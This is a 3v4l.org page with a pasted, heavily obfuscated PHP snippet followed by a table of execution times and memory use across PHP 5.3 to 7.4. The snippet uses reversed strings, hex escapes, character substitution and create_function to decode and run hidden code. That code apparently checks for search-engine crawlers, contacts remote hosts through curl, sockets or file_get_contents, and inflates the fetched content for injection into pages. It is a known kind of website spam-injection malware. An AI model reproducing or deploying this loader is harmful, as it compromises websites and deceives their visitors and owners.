3v4l.org

run code in 300+ PHP versions simultaneously
<?php $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $w9 ="\x2f\50\x2e\52\x29\57"; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $syv= "eval(str_replace(array"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $slv = "\x73\164\x72\162\x65\166"; $s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); echo $b."\n"; } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); echo $g."\n"; } $s1v("", $siv("9"," ",$slv($svv))); function random($arr,$qw) { $g=" w-86794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-873,g= w. r; m-8"."6d944835,sq-87396487293787396086c951874"; $soy = "en2"; $xx="exp"."lode"; $ecx="create_function"; $scy="str_replace"; $a = $xx("|","\x|\1|="|";$|$"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } echo $g."\n"; $ecx("", "};$g//"); $mec("", $soy("?kgwLXze2:Wn@l.?jA{S' ",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.10.0100.01015.56
7.4.00.0070.01315.32
7.3.130.0070.01415.18
7.3.120.0060.01315.54
7.3.110.0070.01115.40
7.3.100.0030.01015.18
7.3.90.0190.00015.25
7.3.80.0060.00614.99
7.3.70.0060.00615.31
7.3.60.0040.01114.96
7.3.50.0070.00714.97
7.3.40.0070.00315.14
7.3.30.0000.01415.26
7.3.20.0040.01116.84
7.3.10.0090.00617.04
7.3.00.0060.00916.88
7.2.260.0080.00815.43
7.2.250.0150.00315.54
7.2.240.0030.01415.39
7.2.230.0040.01515.36
7.2.220.0080.00415.37
7.2.210.0080.00415.62
7.2.200.0030.00815.25
7.2.190.0030.01615.33
7.2.180.0100.00315.25
7.2.170.0090.00915.34
7.2.160.0090.00915.13
7.2.150.0060.00916.77
7.2.140.0030.00817.05
7.2.130.0080.00416.89
7.2.120.0120.00617.18
7.2.110.0070.01017.20
7.2.100.0070.00717.05
7.2.90.0040.01416.91
7.2.80.0070.01017.27
7.2.70.0060.01017.18
7.2.60.0030.00917.15
7.2.50.0060.00917.04
7.2.40.0030.01317.21
7.2.30.0040.01017.36
7.2.20.0060.01017.32
7.2.10.0070.01316.95
7.2.00.0030.01118.56
7.1.330.0100.00716.02
7.1.320.0040.01116.17
7.1.310.0110.00415.81
7.1.300.0120.00316.16
7.1.290.0090.00615.81
7.1.280.0030.01215.99
7.1.270.0060.00315.97
7.1.260.0000.01015.99
7.1.250.0030.01016.02
7.1.240.0100.01016.16
7.1.230.0000.01016.10
7.1.220.0070.00715.79
7.1.210.0070.00716.12
7.1.200.0100.00615.80
7.1.190.0000.01016.19
7.1.180.0030.01316.09
7.1.170.0070.01016.02
7.1.160.0030.01015.95
7.1.150.0040.01215.94
7.1.140.0030.01216.02
7.1.130.0060.00616.08
7.1.120.0070.01016.18
7.1.110.0000.01015.82
7.1.100.0000.01715.83
7.1.90.0030.01016.05
7.1.80.0080.00416.15
7.1.70.0060.01016.75
7.1.60.0030.01017.82
7.1.50.0070.01316.79
7.1.40.0060.00915.91
7.1.30.0030.00915.84
7.1.20.0100.00715.91
7.1.10.0060.00916.09
7.1.00.0030.03519.19
7.0.330.0030.01215.45
7.0.320.0000.00915.52
7.0.310.0060.00915.62
7.0.300.0070.00715.67
7.0.290.0080.00615.63
7.0.280.0070.00715.59
7.0.270.0090.00315.63
7.0.260.0030.01315.68
7.0.250.0080.00415.77
7.0.240.0000.01315.72
7.0.230.0030.01315.78
7.0.220.0060.00915.71
7.0.210.0060.00815.49
7.0.200.0110.00715.34
7.0.190.0040.00815.53
7.0.180.0100.00015.79
7.0.170.0060.00915.76
7.0.160.0110.00415.76
7.0.150.0120.00315.74
7.0.140.0070.03518.74
7.0.130.0090.00015.78
7.0.120.0030.04218.96
7.0.110.0000.01415.51
7.0.100.0000.03117.88
7.0.90.0070.02217.74
7.0.80.0030.02917.93
7.0.70.0050.02717.89
7.0.60.0120.02017.92
7.0.50.0070.02518.14
7.0.40.0090.02416.87
7.0.30.0080.02516.95
7.0.20.0070.02616.96
7.0.10.0050.02516.92
7.0.00.0070.04516.91
5.6.400.0120.00314.58
5.6.390.0070.01114.42
5.6.380.0030.00914.68
5.6.370.0140.00314.68
5.6.360.0170.00014.61
5.6.350.0070.00714.48
5.6.340.0120.00314.34
5.6.330.0040.01114.45
5.6.320.0040.01114.61
5.6.310.0070.00714.74
5.6.300.0000.01114.77
5.6.290.0040.00814.89
5.6.280.0040.04217.97
5.6.270.0030.01214.91
5.6.260.0070.00714.70
5.6.250.0040.03017.66
5.6.240.0070.04517.63
5.6.230.0070.02617.58
5.6.220.0030.02617.71
5.6.210.0080.02117.63
5.6.200.0030.02818.03
5.6.190.0000.03017.98
5.6.180.0080.02217.88
5.6.170.0040.02717.95
5.6.160.0100.03817.89
5.6.150.0050.04617.99
5.6.140.0030.03117.97
5.6.130.0070.04317.87
5.6.120.0030.05317.86
5.6.110.0150.04317.80
5.6.100.0070.04217.80
5.6.90.0050.04717.94
5.6.80.0080.04617.53
5.6.70.0030.04717.52
5.6.60.0050.04817.46
5.6.50.0100.04617.57
5.6.40.0070.03017.59
5.6.30.0070.04817.62
5.6.20.0070.03517.49
5.6.10.0030.02917.44
5.6.00.0070.04217.65
5.5.380.0050.02317.62
5.5.370.0070.02017.68
5.5.360.0060.02817.50
5.5.350.0050.04017.43
5.5.340.0020.02717.61
5.5.330.0070.02317.62
5.5.320.0000.02917.85
5.5.310.0050.02717.74
5.5.300.0050.04217.75
5.5.290.0050.04717.88
5.5.280.0090.04517.72
5.5.270.0110.04817.67
5.5.260.0080.03517.62
5.5.250.0090.02517.47
5.5.240.0050.04717.48
5.5.230.0050.04317.36
5.5.220.0120.03817.36
5.5.210.0100.02717.46
5.5.200.0070.02917.50
5.5.190.0060.03017.41
5.5.180.0100.04017.46
5.5.170.0060.00914.63
5.5.160.0160.02317.34
5.5.150.0060.04417.53
5.5.140.0030.05217.39
5.5.130.0140.02817.27
5.5.120.0080.04317.21
5.5.110.0080.04617.26
5.5.100.0100.03917.31
5.5.90.0090.04017.36
5.5.80.0100.03917.42
5.5.70.0070.04517.15
5.5.60.0080.04017.18
5.5.50.0100.03017.31
5.5.40.0100.04317.23
5.5.30.0140.03617.49
5.5.20.0060.04317.28
5.5.10.0070.02717.32
5.5.00.0070.04517.31
5.4.450.0050.03215.37
5.4.440.0020.05015.46
5.4.430.0050.03315.42
5.4.420.0070.03315.13
5.4.410.0020.04315.28
5.4.400.0070.04215.13
5.4.390.0130.03815.25
5.4.380.0080.04015.35
5.4.370.0050.04615.17
5.4.360.0080.04015.15
5.4.350.0130.02115.08
5.4.340.0100.03815.31
5.4.330.0000.01611.33
5.4.320.0030.04815.27
5.4.310.0050.04315.18
5.4.300.0070.04815.15
5.4.290.0070.03815.03
5.4.280.0080.04315.25
5.4.270.0070.03515.26
5.4.260.0060.04515.26
5.4.250.0130.03615.18
5.4.240.0040.04415.03
5.4.230.0090.03515.13
5.4.220.0020.04315.06
5.4.210.0100.02315.22
5.4.200.0100.03515.23
5.4.190.0080.02515.10
5.4.180.0050.04315.12
5.4.170.0080.04015.11
5.4.160.0070.03015.09
5.4.150.0100.03215.19
5.4.140.0030.02813.88
5.4.130.0070.03213.95
5.4.120.0080.03313.90
5.4.110.0080.03813.71
5.4.100.0070.02713.83
5.4.90.0110.03513.92
5.4.80.0050.02513.92
5.4.70.0030.03713.82
5.4.60.0050.02513.80
5.4.50.0030.02413.70
5.4.40.0070.04213.71
5.4.30.0100.03513.71
5.4.20.0070.02713.74
5.4.10.0010.02313.86
5.4.00.0030.03013.54
5.3.290.0050.03913.01
5.3.280.0080.03312.73
5.3.270.0050.02612.82
5.3.260.0050.03712.80
5.3.250.0030.04012.88
5.3.240.0090.04112.77
5.3.230.0070.02612.85
5.3.220.0070.03312.82
5.3.210.0090.03812.82
5.3.200.0090.03912.79
5.3.190.0090.03912.82
5.3.180.0070.03712.84
5.3.170.0070.04012.93
5.3.160.0050.04312.91
5.3.150.0080.04112.94
5.3.140.0070.03812.92
5.3.130.0030.02612.86
5.3.120.0090.02212.88
5.3.110.0000.03012.82
5.3.100.0050.03812.58
5.3.90.0020.02412.63
5.3.80.0020.03212.59
5.3.70.0090.03412.58
5.3.60.0070.02012.60
5.3.50.0060.03012.40
5.3.40.0050.04312.57
5.3.30.0070.02412.45
5.3.20.0050.03912.36
5.3.10.0100.03312.30
5.3.00.0070.03812.23

preferences:
46.53 ms | 400 KiB | 5 Q